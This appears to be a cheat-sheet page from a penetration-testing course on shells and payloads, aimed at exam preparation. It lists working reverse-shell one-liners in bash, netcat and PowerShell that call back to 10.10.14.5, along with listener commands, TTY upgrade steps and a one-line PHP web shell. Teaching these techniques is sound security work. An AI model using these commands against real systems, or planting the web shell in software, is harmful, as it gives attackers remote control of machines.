Shells & Payloads
Exploitation
Overview
Creating and catching reverse shells, bind shells, and web shells.
3
Exercises
4
Flashcards
1
Mind Maps
Cheatsheet
Reverse Shells
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1 # Bash reverse shell nc -e /bin/bash 10.10.14.5 4444 # Netcat reverse shell (if -e available) powershell -e BASE64_PAYLOAD # PowerShell encoded reverse shell
Listeners
nc -lvnp 4444 # Start Netcat listener on port 4444 rlwrap nc -lvnp 4444 # Listener with history/arrow keys support
Shell Upgrade
python3 -c 'import pty;pty.spawn("/bin/bash")' # Spawn TTY shell with Python
export TERM=xterm # Set terminal type
# Ctrl+Z, stty raw -echo; fg # Background, fix TTY, foregroundWeb Shells
<?php system($_GET['cmd']); ?> # Basic PHP web shell
Command Examples
Common Pitfalls
- Not upgrading shells
- Forgetting to URL encode
Exam Survival Tips
- Always upgrade to PTY
- Use rlwrap for arrow keys